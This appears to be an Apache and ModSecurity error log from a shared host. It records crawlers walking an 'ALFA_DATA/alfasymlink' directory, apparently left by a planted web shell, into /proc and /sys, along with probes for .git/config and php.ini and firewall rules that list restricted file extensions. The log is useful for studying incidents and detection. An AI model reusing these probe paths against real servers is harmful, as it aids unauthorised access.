[Mon Oct 26 03:05:38.396686 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 3.221.156.96:40100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/cpu0/crash_notes
[Mon Oct 26 03:05:42.133979 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 54.84.147.79:12747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:05:44.549109 2026] [security2:error] [pid 2984316:tid 2984316] [client 136.70.184.197:37390] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at77yCmvL3FYV1A8W3jtZwAAAA0"]
[Mon Oct 26 03:05:44.549407 2026] [security2:error] [pid 2984316:tid 2984316] [client 136.70.184.197:37390] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at77yCmvL3FYV1A8W3jtZwAAAA0"]
[Mon Oct 26 03:05:44.549685 2026] [security2:error] [pid 2984316:tid 2984316] [client 136.70.184.197:37390] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at77yCmvL3FYV1A8W3jtZwAAAA0"]
[Mon Oct 26 03:05:44.550088 2026] [security2:error] [pid 2984316:tid 2984316] [client 136.70.184.197:37390] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at77yCmvL3FYV1A8W3jtZwAAAA0"]
[Mon Oct 26 03:05:50.142379 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 3.211.105.134:63416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:05:51.596668 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 85.208.96.203:26708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/aliases
[Mon Oct 26 03:05:54.163305 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.225.243.131:8939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:02.272560 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 44.207.207.36:22006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:10.128469 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 98.84.184.80:51251] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:14.267497 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.224.132.215:62814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:22.158150 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 52.22.64.232:64155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:26.126590 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 34.231.156.59:34563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:42.146126 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 34.205.170.13:52957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:06:58.126125 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 100.28.204.82:39882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:07:02.271024 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 98.84.200.43:42334] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:07:30.135374 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 3.221.244.28:32564] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:07:34.145770 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.2.4.213:16996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:07:34.694589 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 185.191.171.11:32502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/red_zone
[Mon Oct 26 03:07:38.141208 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.226.89.140:47209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:07:42.243775 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 54.235.191.179:56806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:08:02.128996 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 52.5.242.243:55584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/remove
[Mon Oct 26 03:08:06.128580 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 52.4.238.8:48130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:08:18.273397 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 100.29.128.75:2732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:08:34.307179 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 44.217.255.167:9281] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:14.296517 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 18.209.137.234:38702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:18.147197 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 54.225.181.161:21174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:30.386230 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 44.223.116.149:40154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:34.144684 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 100.29.160.53:54312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:38.167416 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 3.214.176.44:31353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:38.830284 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 185.191.171.5:41480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/alloc_calls
[Mon Oct 26 03:09:42.326947 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 44.221.180.179:43458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:09:51.686938 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 185.191.171.8:28752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/red_zone
[Mon Oct 26 03:09:54.137676 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 23.23.137.202:2856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:02.353073 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 18.204.89.56:24039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:11.031005 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 185.191.171.10:15144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/aliases
[Mon Oct 26 03:10:18.517203 2026] [security2:error] [pid 2984261:tid 2984261] [client 18.213.240.226:56950] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/module/"] [unique_id "at782i-E70pTpF9ObR-x9AAAAAg"]
[Mon Oct 26 03:10:18.517242 2026] [security2:error] [pid 2984261:tid 2984261] [client 18.213.240.226:56950] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/module/"] [unique_id "at782i-E70pTpF9ObR-x9AAAAAg"]
[Mon Oct 26 03:10:30.339845 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 50.16.72.185:7899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:38.221161 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 100.28.57.133:49198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:42.214335 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.209.187.99:44554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:46.236913 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 3.94.40.182:43043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:54.254036 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.220.148.166:62274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:10:58.236629 2026] [ssl:error] [pid 2963566:tid 2963566] (22)Invalid argument: [client 18.232.12.157:64982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:02.332898 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 3.211.105.134:4046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:26.226812 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 54.204.12.115:60573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:33.214374 2026] [security2:error] [pid 2984441:tid 2984441] [client 107.172.76.131:51881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at79GKy4l0fHhEjHUwfLVgAAAAo"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 03:11:33.214429 2026] [security2:error] [pid 2984441:tid 2984441] [client 107.172.76.131:51881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at79GKy4l0fHhEjHUwfLVgAAAAo"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 03:11:34.265151 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 34.234.200.207:38031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:38.262917 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 35.168.238.50:38654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:46.497728 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 34.238.45.183:38463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:54.451654 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 18.210.58.238:39836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:11:58.241393 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 34.194.14.255:30796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:12:02.399530 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 44.207.69.106:29496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:12:06.441717 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 35.174.141.243:29189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/bind
[Mon Oct 26 03:12:10.248137 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.218.35.239:24684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:12:26.471079 2026] [security2:error] [pid 2984261:tid 2984261] [client 44.206.65.8:44233] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory6/node0/memory21/"] [unique_id "at79Wi-E70pTpF9ObR-x9wAAAAg"]
[Mon Oct 26 03:12:26.471118 2026] [security2:error] [pid 2984261:tid 2984261] [client 44.206.65.8:44233] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory6/node0/memory21/"] [unique_id "at79Wi-E70pTpF9ObR-x9wAAAAg"]
[Mon Oct 26 03:12:42.268293 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 18.209.137.234:46998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:12:46.283430 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 18.209.137.234:3980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:12:50.336640 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 34.236.185.101:18332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/rescan
[Mon Oct 26 03:13:06.097492 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 185.191.171.15:31012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/poison
[Mon Oct 26 03:13:06.348173 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 35.173.38.202:35191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:13:11.648491 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.0.41.164:25886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/driver/bind
[Mon Oct 26 03:13:14.635123 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.2.83.227:53520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:13:18.662785 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 100.28.49.152:24239] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:13:22.381733 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 44.215.61.66:65113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:13:30.493255 2026] [core:crit] [pid 2984261:tid 2984261] (13)Permission denied: [client 54.84.93.8:20896] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/tracing/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/tracing/' is executable
[Mon Oct 26 03:13:30.494099 2026] [core:crit] [pid 2984261:tid 2984261] (13)Permission denied: [client 54.84.93.8:20896] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/debug/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/debug/' is executable
[Mon Oct 26 03:13:38.402193 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.225.138.57:51501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:13:43.427854 2026] [core:error] [pid 2984073:tid 2984073] [client 34.34.161.121:61406] AH00135: Invalid method in request RHLC / HTTP/1.1
[Mon Oct 26 03:13:54.348749 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 52.71.203.206:6086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:13:56.204066 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 185.191.171.4:12818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/cpu_slabs
[Mon Oct 26 03:14:14.471714 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 98.82.38.120:61570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:14:19.945101 2026] [security2:error] [pid 2974954:tid 2974954] [client 43.165.67.31:42176] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at79y-PdqEmNX1cUUB8iXwAAAAI"]
[Mon Oct 26 03:14:26.469468 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 100.29.155.89:5382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:14:30.509325 2026] [core:error] [pid 2984073:tid 2984073] (13)Permission denied: [client 98.83.177.42:64967] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:01/PNP0B00:00/physical_node/driver/unbind
[Mon Oct 26 03:14:42.863479 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 23.23.137.202:7088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:14:50.541800 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 44.223.116.149:5224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:14:51.447592 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 85.208.96.199:58178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/remote_node_defrag_ratio
[Mon Oct 26 03:15:02.556483 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 34.236.135.14:12738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/LNXCPU:01/physical_node/node0/cpu1/crash_notes
[Mon Oct 26 03:15:03.063245 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 185.191.171.10:54096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/poison
[Mon Oct 26 03:15:04.597031 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 185.191.171.15:52738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/total_objects
[Mon Oct 26 03:15:10.580013 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 98.83.72.38:33796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:15:22.517259 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 23.23.180.225:52697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:15:30.616593 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.215.221.125:6252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:15:46.500284 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 100.28.133.214:6101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:15:50.480922 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 34.197.28.78:17248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:15:54.657778 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 100.28.57.133:64207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:16:06.590040 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 18.232.12.157:31249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:16:18.642595 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 44.214.19.8:34903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/subsystem/drivers_probe
[Mon Oct 26 03:16:22.553099 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 18.235.158.19:37710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:16:22.776488 2026] [security2:error] [pid 2978303:tid 2978303] [client 170.106.163.48:45208] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7-RpMnyYq70WIUET3s8AAAABc"]
[Mon Oct 26 03:16:22.777489 2026] [authz_core:error] [pid 2978303:tid 2978303] [client 170.106.163.48:45208] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 03:16:40.136890 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 85.208.96.197:46332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/cpu_partial
[Mon Oct 26 03:16:42.636695 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 44.218.6.93:58049] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/shpchp/uevent
[Mon Oct 26 03:16:50.717335 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 85.208.96.194:32792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/sanity_checks
[Mon Oct 26 03:16:50.781598 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.4.229.9:38135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:16:54.621157 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 54.80.185.200:58809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:16:58.594798 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 52.6.232.201:47662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:17:02.592945 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.205.141.124:52601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:17:10.679260 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.73.142.41:9270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:17:22.696940 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.54.95.127:29805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:17:30.696866 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 34.231.45.47:48797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/irq
[Mon Oct 26 03:17:34.884454 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.202.233.37:17790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:17:38.230503 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 85.208.96.198:43274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/objects_partial
[Mon Oct 26 03:17:51.015768 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 23.20.178.124:30780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:17:54.713498 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 100.28.204.82:9356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:10.806205 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 3.210.114.189:18346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:14.773756 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.210:19838] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/norwegian-ny/errmsg.sys"] [unique_id "at7-tjnj8sJWmxnIswzNcgAAAAQ"]
